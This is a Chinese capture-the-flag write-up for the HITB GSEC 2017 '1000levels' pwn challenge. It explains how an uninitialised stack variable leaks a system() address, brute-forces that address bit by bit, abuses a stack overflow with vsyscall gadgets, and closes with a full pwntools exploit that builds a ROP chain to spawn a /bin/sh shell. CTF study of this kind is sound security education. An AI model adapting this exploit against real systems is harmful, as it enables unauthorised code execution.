zoukankan      html  css  js  c++  java
  • 【HITB GSEC CTF 2017】1000levels

    https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz

    #通过阅读天枢战队大佬们的wp调试的结果

    首先查看一下该elf文件的保护情况:

    是64位程序,有PIE、NX保护,没有canary保护,怀疑是栈溢出类型。

    开始寻找溢出点,通过阅读ida得到的代码,大致分析一下文件含义: 

    main:

    main函数比较简单,逻辑很明显,有两个貌似有用的函数,hint()、go()。不断在这两个函数中循环。

    先看hint:

    hint:

    如果show_hint为1.则提示system函数的地址。show_hint位于bss段。难道是福利?

    想多了= =。因为具有PIE保护,所以BSS段的地址也是随机的,而且还没找到可以任意的漏洞,暂时丢在这里。

    但从C代码看不出什么,可以看一下汇编代码,

    可以看到,虽然show_hint标识为0,但栈内仍然有这个system的地址(这很重要)

    接下来看go函数:

    go函数中有点问题,可以看到v5是没有赋初值的。当v2<=0时,v5就是脏数据了。 //这是第二点

    进入hint函数:

    hint函数中可以看得到一个明显的栈溢出, buf变量是8字节,而输入是400u,可以溢出覆盖很长一段空间,猜测这也就是可以利用的溢出漏洞。

    综上,程序分析结束,找到溢出漏洞一处,思路就可以是利用shellcode或者rop技术来执行命令。

    因为有NX保护存在所以只能用ROP来利用漏洞,对rop的长度没有限制,但是,由于ASLR和PIE的存在导致无法直接获得system函数的地址,幸亏有hint这样一个函数。

    从上文可以看到,在hint函数中,system的地址防止在rbp-110这样的位置:

    而我们找到的脏数据使用v5恰巧也是是定义在这个位置

    因此,当第一次输入为0时,v5就是system的地址。通过这个地址,可以爆破得到system的地址。

    想法是这样的:

    猜测system第地址为i时,如果输入-i,当i>system的地址时,得到的v6<0会输出coward字样,按位猜解从高位到低位就可以顺次找到各位的system值。

    要爆破几位呢?

    通过其他技术博客:http://www.cnblogs.com/wangaohui/p/7122653.html

    知道,aslr的作用原理是这样的:

    函数加载与mmap相同

    mmap随机的位数由mmap_rnd_bits表示,在64位下是28比特,经过计算在64位平台下mmap的基地址是:page_align(0x7ffbf8000000-rand),而其中的rand在是28比特的数字左移12位。当mmap的基地址确定后,在各个系统中,程序运行起来时各个模块(不包括pie程序的主模块、但包括各个动态链接库)与mmap的基地址的偏移是固定的,因此这些模块加载地址的随机化也在28比特。

    因此rand是 xxxxxxx000这样的,而使用了减法,因此影响了system地址中间8*4的地址值,故简单的可爆破8*4bit 

    而当爆破某位时,当小于system地址时,需要进行1000次的运算,在运算中由于存在栈溢出漏洞,可以覆盖预期结果的地址,因此很简单。

    当运算999次后,会停止运算并退出,如果退出,再次进入时就失效了,因此必须通过溢出覆盖返回地址,强行使程序恢复到程序开头。

    栈地址中恰巧存在start函数地址,因此可以使用它来返回函数的初始状态。

    但由于程序开启了PIE保护,无法从elf文件中直接跳转至main函数或寻找gadget,因此想到使用vsyscall来充当gadget(这部分在系统中地址始终不变。)

    通过如上步骤就可以爆破出system地址,再由libc可以找到libc中“/bin/sh”的地址。

    最后使用ROPgadget找到一个在libc中“pop rdi  , ret”作为传参gadget就可以利用栈溢出漏洞,来使用rop进行命令执行了:

    附上exp:

    from pwn import *
    
    p = process('./1000levels')
    
    
    debug = 0
    if debug:
        context.log_level = 'debug'
    def hint():
        p.sendlineafter('Choice:','2')
    
    def go(first,more):
        p.sendlineafter('Choice:','1')
        p.sendlineafter('levels?',str(first))
        p.sendlineafter('more?
    ',str(more))
    
    def calc(num):
        p.recvuntil('Answer:')
        p.send(num)
    
    def leak():
        
        start = 0x700000000390
        for i in range(10,2,-1):
            for j in range(15,-1,-1):
                hint()
                addr_test = (1 << (i*4) )* j + start
                go(0,-addr_test)
                a = p.recvline()
                #print hex(addr_test)
                if 'Coward' not in a:
                    start = addr_test
    
                    log.info('check '+ hex(addr_test))
                    break
            pro = log.progress('go')
            for i in range(999):
                pro.status('level %d'%(i+1))
                calc(p64(0)*5)
            calc(p64(0xffffffffff600400)*35)
            pro.success('ok')
        return start + 0x1000
    
    if debug:
        gdb.attach(p)
    
    #go(1,0)
    
    
    #
    system_addr = leak()
    print '[+] get system addr:', hex(system_addr)
    libc = ELF('./libc.so')
    system_addr_libc = libc.symbols['system']
    bin_sh_addr_libc = next(libc.search('/bin/sh'))
    
    bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc
    
    gadget = system_addr - system_addr_libc + 0x21102
    
    payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)
    
    go(1,0)
    exp = 'a'*0x38 + payload
    calc(exp)
    
    p.interactive()

    最后,膜拜大佬们的思路。

  • 相关阅读:
    集合的整理
    js中用tagname和id获取元素的3种方法
    浏览器的工作原理
    在浏览器中输入URL按下回车键后发生了什么
    浏览器内核、渲染引擎、js引擎
    浏览器的重绘、回流及网页优化
    SQL SERVER大话存储结构(1)
    SQL SERVER大话存储结构(2)
    SQL SERVER大话存储结构(3)
    基于binlog来分析mysql的行记录修改情况(python脚本分析)
  • 原文地址:https://www.cnblogs.com/p4nda/p/7493880.html
Copyright © 2011-2022 走看看